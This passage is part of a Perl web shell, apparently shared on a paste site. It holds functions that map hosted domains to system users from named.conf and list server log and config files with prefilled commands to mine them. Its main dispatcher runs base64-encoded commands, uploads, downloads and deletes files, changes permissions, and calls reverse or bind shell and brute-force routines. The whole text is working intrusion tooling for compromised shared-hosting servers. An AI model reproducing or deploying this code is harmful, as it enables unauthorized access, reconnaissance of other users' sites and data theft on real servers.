  1747. sub ViewDomainUser
  1748. {
  1749. open (d0mains, '/etc/named.conf') or $err=1;
  1750. my @cnzs = <d0mains>;
  1751. close d0mains;
  1752. my $style="line";
  1753. my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Warning ! Shell is used to refer not to hack</font></h3>";
  1754. if ($err)
  1755. {
  1756. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1757. return $result;
  1758. }else
  1759. {
  1760. $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1761. }
  1762. foreach my $one (@cnzs)
  1763. {
  1764. if($one =~ m/.*?zone "(.*?)" {/)
  1765. {
  1766. $style= ($style eq "line") ? "notline": "line";
  1767. $filename= trim("/etc/valiases/".$1);
  1768. $owner = getpwuid((stat($filename))[4]);
  1769. $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1770. }
  1771. }
  1772. $result .= '</table>';
  1773. return $result;
  1774. }
  1775. #------------------------------------------------------------------------------
  1776. # View Log
  1777. #------------------------------------------------------------------------------
  1778. sub ViewLog
  1779. {
  1780. $EncodeCurrentDir = EncodeDir($CurrentDir);
  1781. if($WinNT)
  1782. {
  1783. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1784. }
  1785. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1786. my @pathlog=( '/usr/local/apache/logs/error_log',
  1787. '/usr/local/apache/logs/access_log',
  1788. '/usr/local/apache2/conf/httpd.conf',
  1789. '/var/log/httpd/error_log',
  1790. '/var/log/httpd/access_log',
  1791. '/usr/local/cpanel/logs/error_log',
  1792. '/usr/local/cpanel/logs/access_log',
  1793. '/usr/local/apache/logs/suphp_log',
  1794. '/usr/local/cpanel/logs',
  1795. '/usr/local/cpanel/logs/stats_log',
  1796. '/usr/local/cpanel/logs/access_log',
  1797. '/usr/local/cpanel/logs/error_log',
  1798. '/usr/local/cpanel/logs/license_log',
  1799. '/usr/local/cpanel/logs/login_log',
  1800. '/usr/local/cpanel/logs/stats_log',
  1801. '/var/cpanel/cpanel.config',
  1802. '/usr/local/php/lib/php.ini',
  1803. '/usr/local/php5/lib/php.ini',
  1804. '/var/log/mysql/mysql-bin.log',
  1805. '/var/log/mysql.log',
  1806. '/var/log/mysqlderror.log',
  1807. '/var/log/mysql/mysql.log',
  1808. '/var/log/mysql/mysql-slow.log',
  1809. '/var/mysql.log',
  1810. '/var/lib/mysql/my.cnf',
  1811. '/etc/mysql/my.cnf',
  1812. '/etc/my.cnf',
  1813. );
  1814. my $i=0;
  1815. my $perms;
  1816. my $sl;
  1817. foreach my $log (@pathlog)
  1818. {
  1819. if(-r $log)
  1820. {
  1821. $perms="OK";
  1822. }else
  1823. {
  1824. $perms="<font style='color: red;'>Cancel<font>";
  1825. }
  1826. $result .=<<END;
  1827. <tr>
  1828.  
  1829. <form action="" method="post" onSubmit="Encoder('log$i')">
  1830. <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1831. <td><input class="submit" type="submit" value="Try" /></td>
  1832. <input type="hidden" name="a" value="command" />
  1833. <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1834. </form>
  1835. <td>$perms</td>
  1836.  
  1837. </tr>
  1838. END
  1839. $i++;
  1840. }
  1841. $result .="</table>";
  1842. return $result;
  1843. }
  1844. #------------------------------------------------------------------------------
  1845. # Main Program - Execution Starts Here
  1846. #------------------------------------------------------------------------------
  1847. &ReadParse;
  1848. &GetCookies;
  1849.  
  1850. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1851. $ServerName = $ENV{'SERVER_NAME'};
  1852. $LoginPassword = $in{'p'};
  1853. $RunCommand = decode_base64($in{'c'});
  1854. $TransferFile = $in{'f'};
  1855. $Options = $in{'o'};
  1856. $Action = $in{'a'};
  1857.  
  1858. $Action = "command" if($Action eq ""); # no action specified, use default
  1859.  
  1860. # get the directory in which the commands will be executed
  1861. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1862. # mac dinh xuat thong tin neu ko co lenh nao!
  1863. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1864. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1865.  
  1866. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1867.  
  1868. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1869. {
  1870. &PerformLogin;
  1871. }elsif($Action eq "gui") # GUI directory
  1872. {
  1873. &PrintPageHeader("d");
  1874. if(!$WinNT)
  1875. {
  1876. $chmod=int($in{'chmod'});
  1877. if($chmod ne 0)
  1878. {
  1879. $chmod=int($in{'chmod'});
  1880. $file=$CurrentDir.$PathSep.$TransferFile;
  1881. if(chmod($chmod,$file))
  1882. {
  1883. print "<run> Done! </run><br>";
  1884. }else
  1885. {
  1886. print "<run> Sorry! You dont have permissions! </run><br>";
  1887. }
  1888. }
  1889. }
  1890. $rename=$in{'rename'};
  1891. if($rename ne "")
  1892. {
  1893. if(rename($TransferFile,$rename))
  1894. {
  1895. print "<run> Done! </run><br>";
  1896. }else
  1897. {
  1898. print "<run> Sorry! You dont have permissions! </run><br>";
  1899. }
  1900. }
  1901. $remove=$in{'remove'};
  1902. if($remove ne "")
  1903. {
  1904. $rm = $CurrentDir.$PathSep.$remove;
  1905. if(-d $rm)
  1906. {
  1907. &RmDir($rm);
  1908. }else
  1909. {
  1910. if(unlink($rm))
  1911. {
  1912. print "<run> Done! </run><br>";
  1913. }else
  1914. {
  1915. print "<run> Sorry! You dont have permissions! </run><br>";
  1916. }
  1917. }
  1918. }
  1919. print &ListDir;
  1920.  
  1921. }
  1922. elsif($Action eq "command") # user wants to run a command
  1923. {
  1924. &PrintPageHeader("c");
  1925. print &ExecuteCommand;
  1926. }
  1927. elsif($Action eq "save") # user wants to save a file
  1928. {
  1929. &PrintPageHeader;
  1930. if(&SaveFile($in{'data'},$in{'file'}))
  1931. {
  1932. print "<run> Done! </run><br>";
  1933. }else
  1934. {
  1935. print "<run> Sorry! You dont have permissions! </run><br>";
  1936. }
  1937. print &ListDir;
  1938. }elsif($Action eq "upload") # user wants to upload a file
  1939. {
  1940. &PrintPageHeader("c");
  1941. print &UploadFile;
  1942. }elsif($Action eq "backbind") # user wants to back connect or bind port
  1943. {
  1944. &PrintPageHeader("clientport");
  1945. print &BackBind;
  1946. }elsif($Action eq "bruteforcer") # user wants to brute force
  1947. {
  1948. &PrintPageHeader;
  1949. print &BruteForcer;
  1950. }elsif($Action eq "download") # user wants to download a file
  1951. {
  1952. print &DownloadFile;
  1953. }elsif($Action eq "checklog") # user wants to view log file
  1954. {
  1955. &PrintPageHeader;
  1956. print &ViewLog;
  1957.  
  1958. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1959. {
  1960. &PrintPageHeader;
  1961. print &ViewDomainUser;
  1962. }elsif($Action eq "logout") # user wants to logout
  1963. {
  1964. &PerformLogout;
  1965. }
  1966. &PrintPageFooter;
Add Comment
Please, Sign In to add comment